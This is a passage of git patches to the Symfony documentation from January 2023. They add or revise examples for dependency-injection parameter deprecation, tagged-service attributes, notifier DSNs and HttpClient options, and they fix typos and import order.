 ~~~~~~~~~~~~
 
@@ -357,7 +359,7 @@ integration with these push services:
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 5.4

From 978d0e82feb63ea8c1b67ac9c5f70e35e7af989f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 16:27:06 +0100
Subject: [PATCH 4120/7107] [DependencyInjection] Enable deprecating parameters

---
 .../dependency_injection/compilation.rst      | 33 ++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2d471177c58..2fe075efc0d 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -254,6 +254,37 @@ file but also load a secondary one only if a certain parameter is set::
         }
     }
 
+You are also able to deprecate container parameters in your extension to warn
+to not use a specific parameter anymore. This is particularly useful to help
+developers with the migration process across major versions of an extension.
+The deprecation can be done thanks to the ``ContainerBuilder::deprecateParameter``
+method. This can only be achieved when configuring an extension with PHP, as this is
+not possible to do it with other configuration formats (YAML, XML). Let's define a
+parameter in our extension that will be declared as deprecated::
+
+    public function load(array $configs, ContainerBuilder $containerBuilder)
+    {
+        // ...
+
+        $containerBuilder->setParameter('acme_demo.database_user', $configs['db_user']);
+
+        $containerBuilder->deprecateParameter(
+            'acme_demo.database_user',
+            'acme/database-package',
+            '1.3',
+            // optionally you can set a custom deprecation message
+            '"acme_demo.database_user" is deprecated, you should configure database credentials with the "acme_demo.database_dsn" parameter instead.'
+        );
+    }
+
+The parameter being deprecated must be set before being declared as deprecated. Otherwise
+a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException` exception
+will be thrown.
+
+.. versionadded:: 6.3
+
+     The ``ContainerBuilder::deprecateParameter`` method was introduced in Symfony 6.3.
+
 .. note::
 
     Just registering an extension with the container is not enough to get
@@ -478,7 +509,7 @@ serves at dumping the compiled container::
     the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
     component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
     which are atomic.
-    
+
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::

From f6c140c2f99f8d062c047735784f08fe66d66aea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:30:06 +0100
Subject: [PATCH 4121/7107] [DependencyInjection] Complete examples with
 TaggedIterator and TaggedLocator attributes

---
 .../service_subscribers_locators.rst          | 34 +++++++++++++
 service_container/tags.rst                    | 48 +++++++++++++++++++
 2 files changed, 82 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index c3cf4c6a744..2630db0977d 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -516,6 +516,23 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[TaggedLocator('app.handler', indexAttribute: 'key')]
+                ServiceLocator $locator
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -619,6 +636,23 @@ attribute to the locator service defining the name of this custom method:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
+                ServiceLocator $locator
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
diff --git a/service_container/tags.rst b/service_container/tags.rst
index d166c7b88a8..e34a01a7739 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -707,6 +707,22 @@ you can define it in the configuration of the collecting service:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')]
+                iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -762,6 +778,22 @@ indexed by the ``key`` attribute:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', indexAttribute: 'key')]
+                iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -868,6 +900,22 @@ array element. For example, to retrieve the ``handler_two`` handler::
 
     .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // src/HandlerCollection.php
+            namespace App;
+
+            use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+            class HandlerCollection
+            {
+                public function __construct(
+                    #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                    iterable $handlers
+                ) {
+                }
+            }
+
         .. code-block:: yaml
 
             # config/services.yaml

From 33106c593cecf5242cca506bc24083a118f901a9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 15 Jan 2023 12:07:40 +0100
Subject: [PATCH 4122/7107] Remove obsolete versionadded directive

---
 service_container/autowiring.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d1832d305d7..c63e47d5a80 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -392,10 +392,6 @@ dealing with the ``TransformerInterface``.
             // ...
         }
 
-.. versionadded:: 5.4
-
-    The support of union and intersection types was introduced in Symfony 5.4.
-
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 

From b98b45c46684cfdb3ae7de5d5dcdafd85d9296d0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 15 Jan 2023 12:09:42 +0100
Subject: [PATCH 4123/7107] Fix: Typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 0e13ce5a49d..3931efec69f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -675,7 +675,7 @@ Logging in Users (Authentication)
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - makes a test very slow. For this reason, Symfony
-provides a ``loginUser()`` method to simulate logging in in your functional
+provides a ``loginUser()`` method to simulate logging in your functional
 tests.
 
 Instead of logging in with real users, it's recommended to create a user

From f305d37fe2d850915794328de7a394d65d79a3c2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:30:33 +0100
Subject: [PATCH 4124/7107] [FrameworkBundle] Allow setting private services
 with the test container

---
 testing.rst | 49 +++++--------------------------------------------
 1 file changed, 5 insertions(+), 44 deletions(-)

diff --git a/testing.rst b/testing.rst
index 3a8369d35fd..e7f7b811ce5 100644
--- a/testing.rst
+++ b/testing.rst
@@ -321,52 +321,13 @@ concrete one::
         }
     }
 
-In order to make the alias public, you will need to update configuration for
-the ``test`` environment as follows:
+No further configuration in required, as the test service container is a special one
+that allows you to interact with private services and aliases.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services_test.yaml
-        services:
-            # redefine the alias as it should be while making it public
-            App\Contracts\Repository\NewsRepositoryInterface:
-                alias: App\Repository\NewsRepository
-                public: true
-
-    .. code-block:: xml
-
-        <!-- config/services_test.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-        ">
-            <services>
-                <!-- redefine the alias as it should be while making it public -->
-                <service id="App\Contracts\Repository\NewsRepositoryInterface"
-                    alias="App\Repository\NewsRepository"
-                />
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Contracts\Repository\NewsRepositoryInterface;
-        use App\Repository\NewsRepository;
+.. versionadded:: 6.3
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
-                // redefine the alias as it should be while making it public
-                ->alias(NewsRepositoryInterface::class, NewsRepository::class)
-                    ->public()
-            ;
-        };
+    The possibility to set a private service with the test service container without
+    declaring the alias as public was introduced in Symfony 6.3.
 
 .. _testing-databases:
 

From 5ea3a82d44b354eb01a7a21aa0a21b0674a16b4c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 13 Jan 2023 20:32:14 +0100
Subject: [PATCH 4125/7107] Enable argument_variable_must_match_type doctor-rst
 rule

---
 .doctor-rst.yaml                | 5 ++++-
 components/uid.rst              | 2 +-
 security/entry_point.rst        | 2 +-
 serializer.rst                  | 2 +-
 templating/global_variables.rst | 2 +-
 5 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 1afa4342584..f8a111cf2c6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,5 +1,9 @@
 rules:
     american_english: ~
+    argument_variable_must_match_type:
+        arguments:
+            - { type: 'ContainerBuilder', name: 'containerBuilder' }
+            - { type: 'ContainerConfigurator', name: 'containerConfigurator' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~
@@ -96,6 +100,5 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '// bin/console'
         - 'End to End Tests (E2E)'
-        - '.. code-block:: php'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/components/uid.rst b/components/uid.rst
index cf17b237f19..caac3034429 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -132,7 +132,7 @@ configure the behavior of the factory using configuration files::
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $configurator): void {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             $services = $configurator->services()
                 ->defaults()
                 ->autowire()
diff --git a/security/entry_point.rst b/security/entry_point.rst
index daee51493fa..42fb6452b71 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -61,8 +61,8 @@ You can configure this using the ``entry_point`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
         use App\Security\SocialConnectAuthenticator;
+        use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             $security->enableAuthenticatorManager(true);
diff --git a/serializer.rst b/serializer.rst
index ee31efa0b12..0a1409de2b5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,8 +156,8 @@ configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+        use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
             $framework->serializer()
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index c7bfec3049c..f38d06aca02 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -99,8 +99,8 @@ the ``@`` character, which is the usual syntax to
     .. code-block:: php
 
         // config/packages/twig.php
-        use Symfony\Config\TwigConfig;
         use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+        use Symfony\Config\TwigConfig;
 
         return static function (TwigConfig $twig) {
             // ...

From 97ee5bfcb26f73d228df0dee13d6d37c5469ebd2 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 14 Jan 2023 09:29:27 +0100
Subject: [PATCH 4126/7107] [Notifier] Add new Symfony Notifier for PagerDuty

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index c2d2c710e69..1da7f73ce39 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -355,12 +355,17 @@ Service         Package                               DSN
 Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 6.1
 
     The Engagespot integration was introduced in Symfony 6.1.
 
+.. versionadded:: 6.3
+
+    The PagerDuty integration was introduced in Symfony 6.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 6ec7a401bc624b1fd9fc3889ea70c13b71d7befe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sama=C3=ABl=20Villette?= <villette.samael@gmail.com>
Date: Mon, 16 Jan 2023 09:25:53 +0100
Subject: [PATCH 4127/7107] Fixed missing quotes on service subscribers

There was missing quotes on the second parameter of `Symfony\Contracts\Service\Attribute\SubscribedService` constructor
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index ce2f4fd3296..59a28318897 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -279,7 +279,7 @@ This is done by having ``getSubscribedServices()`` return an array of
             new SubscribedService('logger', LoggerInterface::class, attributes: new Autowire(service: 'monolog.logger.event')),
 
             // can event use parameters
-            new SubscribedService('env', string, attributes: new Autowire('%kernel.environment%')),
+            new SubscribedService('env', 'string', attributes: new Autowire('%kernel.environment%')),
 
             // Target
             new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),

From f0ae1157313d421a5aa0954bfd39c082cfe1d85d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:04:32 +0100
Subject: [PATCH 4128/7107] Use `::` instead of `.. code-block:: php`

---
 doctrine/events.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 217debc8645..1927f89a04c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -256,9 +256,7 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     }
 
 Then, add the ``#[AsEntityListener]`` attribute to the class to enable it as
-a Doctrine entity listener in your application:
-
-    .. code-block:: php
+a Doctrine entity listener in your application::
 
         // src/EventListener/UserChangedNotifier.php
         namespace App\EventListener;

From 570f1dbf45d19401b9c295daeb9280a969003107 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:15:17 +0100
Subject: [PATCH 4129/7107] Fix: Build

---
 service_container/factories.rst | 2 +-
 translation.rst                 | 4 +---
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index d5164e03b05..cb7d6cdeaf9 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -295,8 +295,8 @@ e.g. change the service based on a parameter:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Email\NewsletterManagerInterface;
         use App\Email\NewsletterManagerFactory;
+        use App\Email\NewsletterManagerInterface;
 
         return function(ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
diff --git a/translation.rst b/translation.rst
index cc9d1847dd2..9e7d25d21c2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -853,9 +853,7 @@ of:
 
 * All the services that are tagged with ``kernel.locale_aware``;
 * ``\Locale::setDefault()``;
-* If a request is available, the ``_locale`` request attribute.
-
-.. code-block:: php
+* If a request is available, the ``_locale`` request attribute::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 

From 1f0057e48587f3e24985ac9bcd3c26241eacbaa8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:23:03 +0100
Subject: [PATCH 4130/7107] Fix: Build

---
 configuration/env_var_processors.rst | 4 +---
 controller/value_resolver.rst        | 4 +---
 serializer.rst                       | 2 +-
 3 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index d95c9e85137..6b3943ffa43 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -753,9 +753,7 @@ Symfony provides the following env var processors:
 
 ``env(enum:FooEnum:BAR)``
     Tries to convert an environment variable to an actual ``\BackedEnum`` value.
-    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument.
-
-    .. code-block:: php
+    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
         # App\Enum\Environment
         enum Environment: string
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 8bb9425b61d..6ceeee77084 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -232,9 +232,7 @@ instance, which contains all information from the method signature.
 The ``resolve()`` method should return either an empty array (if it cannot resolve
 this argument) or an array with the resolved value(s). Usually arguments are
 resolved as a single value, but variadic arguments require resolving multiple
-values. That's why you must always return an array, even for single values:
-
-.. code-block:: php
+values. That's why you must always return an array, even for single values::
 
     // src/ValueResolver/IdentifierValueResolver.php
     namespace App\ValueResolver;
diff --git a/serializer.rst b/serializer.rst
index 540c1a639ed..7c04923b4a2 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -145,8 +145,8 @@ configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Component\Serializer\Encoder\YamlEncoder;
+        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {

From 3b411f118ad0ab9ec709c7645b5fbb0bdb178bbc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 18:52:49 +0100
Subject: [PATCH 4131/7107] [HttpClient] Add withOptions() to HttplugClient and
 Psr18Client

---
 http_client.rst | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index f7715ce2a1d..7cffb09399c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1435,6 +1435,27 @@ Now you can make HTTP requests with the PSR-18 client as follows:
 
         $content = json_decode($response->getBody()->getContents(), true);
 
+You can also pass a set of default options to your client thanks to the
+``Psr18Client::withOptions()`` method::
+
+    use Symfony\Component\HttpClient\Psr18Client;
+
+    $client = (new Psr18Client())
+        ->withOptions([
+            'base_uri' => 'https://symfony.com',
+            'headers' => [
+                'Accept' => 'application/json',
+            ],
+        ]);
+
+    $request = $client->createRequest('GET', '/versions.json');
+
+    // ...
+
+.. versionadded:: 6.2
+
+    The ``Psr18Client::withOptions()`` method was introduced in Symfony 6.2.
+
 HTTPlug
 ~~~~~~~
 
@@ -1523,6 +1544,24 @@ Then you're ready to go::
     // wait for all remaining promises to resolve
     $httpClient->wait();
 
+You can also pass a set of default options to your client thanks to the
+``HttplugClient::withOptions()`` method::
+
+    use Psr\Http\Message\ResponseInterface;
+    use Symfony\Component\HttpClient\HttplugClient;
+
+    $httpClient = (new HttplugClient())
+        ->withOptions([
+            'base_uri' => 'https://my.api.com',
+        ]);
+    $request = $httpClient->createRequest('GET', '/');
+
+    // ...
+
+.. versionadded:: 6.2
+
+    The ``HttplugClient::withOptions()`` method was introduced in Symfony 6.2.
+
 Native PHP Streams
 ~~~~~~~~~~~~~~~~~~
 

From 0124ddb2cc7ea4711615e41611d99979571582dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 11:06:34 +0100
Subject: [PATCH 4132/7107] Minor reword

---
 .../dependency_injection/compilation.rst      | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2fe075efc0d..11da35c3a2b 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -254,13 +254,13 @@ file but also load a secondary one only if a certain parameter is set::
         }
     }
 
-You are also able to deprecate container parameters in your extension to warn
-to not use a specific parameter anymore. This is particularly useful to help
-developers with the migration process across major versions of an extension.
-The deprecation can be done thanks to the ``ContainerBuilder::deprecateParameter``
-method. This can only be achieved when configuring an extension with PHP, as this is
-not possible to do it with other configuration formats (YAML, XML). Let's define a
-parameter in our extension that will be declared as deprecated::
+You can also deprecate container parameters in your extension to warn users
+about not using them anymore. This helps with the migration across major versions
+of an extension.
+
+Deprecation is only possible when using PHP to configure the extension, not when
+using XML or YAML. Use the ``ContainerBuilder::deprecateParameter()`` method to
+provide the deprecation details::
 
     public function load(array $configs, ContainerBuilder $containerBuilder)
     {
@@ -277,13 +277,13 @@ parameter in our extension that will be declared as deprecated::
         );
     }
 
-The parameter being deprecated must be set before being declared as deprecated. Otherwise
-a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException` exception
-will be thrown.
+The parameter being deprecated must be set before being declared as deprecated.
+Otherwise a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException`
+exception will be thrown.
 
 .. versionadded:: 6.3
 
-     The ``ContainerBuilder::deprecateParameter`` method was introduced in Symfony 6.3.
+    The ``ContainerBuilder::deprecateParameter()`` method was introduced in Symfony 6.3.
 
 .. note::
 

From 2d4f6873084f46275e9bde4be251acc0c8e74d42 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 17 Jan 2023 12:17:38 +0100
Subject: [PATCH 4133/7107] Fix the SymfonyCloud name

---
 configuration.rst        |  2 +-
 setup/symfony_server.rst | 16 ++++++++--------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 52109426ceb..49f3ac3b0c2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,7 +674,7 @@ To define the value of an env var, you have several options:
 
 .. tip::
 
-    Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_
+    Some hosts - like Platform.sh - offer easy `utilities to manage env vars`_
     in production.
 
 .. note::
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 9e50c44ff16..7420001f742 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -488,22 +488,22 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-SymfonyCloud Integration
-------------------------
+Platform.sh Integration
+-----------------------
 
 The local Symfony server provides full, but optional, integration with
-`SymfonyCloud`_, a service optimized to run your Symfony applications on the
+`Platform.sh`_, a service optimized to run your Symfony applications on the
 cloud. It provides features such as creating environments, backups/snapshots,
-and even access to a copy of the production data from your local machine to help
-debug any issues.
+and even access to a copy of the production data from your local machine to
+help debug any issues.
 
-`Read SymfonyCloud technical docs`_.
+`Read Platform.sh for Symfony technical docs`_.
 
 .. _`install Symfony`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
-.. _`SymfonyCloud`: https://symfony.com/cloud/
-.. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html
+.. _`Platform.sh`: https://symfony.com/cloud/
+.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en

From 795eab61e45b81e62655b49855a3876ea955fd20 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 13:26:07 +0100
Subject: [PATCH 4134/7107] [Console] Add inline command register example

---
 components/console.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/console.rst b/components/console.rst
index e8f3f9a7578..63808b14df1 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -52,6 +52,20 @@ Then, you can register the commands using
     // ...
     $application->add(new GenerateAdminCommand());
 
+You can also register inline commands and define their behavior thanks to the
+``Command::setCode()`` method::
+
+    // ...
+    $application->register('generate-admin')
+        ->addArgument('username', InputArgument::REQUIRED)
+        ->setCode(function (InputInterface $input, OutputInterface $output): int {
+            // ...
+
+            return Command::SUCCESS;
+        });
+
+This is useful when creating a :doc:`single-command application </components/console/single_command_tool>`.
+
 See the :doc:`/console` article for information about how to create commands.
 
 Learn more

From fa57b76778e07abce4fc57c837fb6c5f667e99fb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 13:37:58 +0100
Subject: [PATCH 4135/7107] [Form] Reorder imports alphabetically

---
 components/form.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7e7e92b3b48..882e720f357 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -389,8 +389,8 @@ is created from the form factory.
 
     .. code-block:: php-standalone
 
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
 
         // ...
 
@@ -409,9 +409,9 @@ is created from the form factory.
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Request;
 
         class TaskController extends AbstractController
         {
@@ -449,9 +449,9 @@ an "edit" form), pass in the default data when creating your form builder:
 
     .. code-block:: php-standalone
 
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\FormType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
 
         // ...
 
@@ -470,8 +470,8 @@ an "edit" form), pass in the default data when creating your form builder:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
 
         class DefaultController extends AbstractController
         {
@@ -674,10 +674,10 @@ option when building each field:
 
     .. code-block:: php-standalone
 
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Constraints\Type;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
 
         $form = $formFactory->createBuilder()
             ->add('task', TextType::class, [
@@ -697,10 +697,10 @@ option when building each field:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Validator\Constraints\NotBlank;
-        use Symfony\Component\Validator\Constraints\Type;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Constraints\Type;
 
         class DefaultController extends AbstractController
         {

From d0ed2316a4e119e259a9fc9db5cfaac776d66274 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 17 Jan 2023 14:06:58 +0100
Subject: [PATCH 4136/7107] move the documentation of the match option to the
 right place

This option is part of the Choice validation constraint, but does not
belong to the ChoiceType from the Form component.
---
 reference/constraints/Choice.rst | 14 ++++++++++++++
 reference/forms/types/choice.rst | 13 -------------
 2 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index a4150d82d55..085ac5987da 100644
